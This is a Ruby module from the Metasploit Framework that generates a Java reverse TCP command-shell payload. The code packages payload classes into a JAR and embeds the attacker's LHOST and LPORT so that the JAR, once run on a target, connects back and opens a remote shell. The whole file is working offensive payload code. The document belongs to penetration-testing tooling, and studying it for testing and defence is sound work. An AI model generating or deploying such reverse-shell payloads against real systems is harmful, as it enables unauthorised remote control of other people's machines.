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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 7497
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  include Msf::Payload::Single
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  include Msf::Payload::Java
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Java Command Shell, Reverse TCP Inline',
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        'Description' => 'Connect back to attacker and spawn a command shell',
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        'Author' => ['mihi', 'egypt'],
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        'License' => MSF_LICENSE,
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        'Platform' => ['java'],
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        'Arch' => ARCH_JAVA,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShell,
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        'Payload' => { 'Offsets' => {}, 'Payload' => '' }
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      )
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    )
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  end
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  def generate_jar(opts = {})
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    jar = Rex::Zip::Jar.new
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    jar.add_sub('metasploit') if opts[:random]
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    class_files.each do |path|
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      1.upto(path.length - 1) do |idx|
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        full = path[0, idx].join('/') + '/'
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        if !jar.entries.map(&:name).include?(full)
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          jar.add_file(full, '')
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        end
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      end
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      data = MetasploitPayloads.read('java', path)
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      jar.add_file(path.join('/'), data)
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    end
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    jar.build_manifest(main_class: 'metasploit.Payload')
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    jar.add_file('metasploit.dat', stager_config(opts))
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    jar
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  end
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  def stager_config(opts = {})
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    ds = opts[:datastore] || datastore
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    c = ''
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    c << "LHOST=#{ds['LHOST']}\n" if ds['LHOST']
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    c << "LPORT=#{ds['LPORT']}\n" if ds['LPORT']
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    # Magical, means use stdin/stdout.  Used for debugging
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    # c << "LPORT=0\n"
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    c << "EmbeddedStage=Shell\n"
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    c
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  end
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  def class_files
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    [
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      ['metasploit', 'Payload.class'],
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      ['javapayload', 'stage', 'Stage.class'],
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      ['javapayload', 'stage', 'StreamForwarder.class'],
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      ['javapayload', 'stage', 'Shell.class'],
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    ]
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  end
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end
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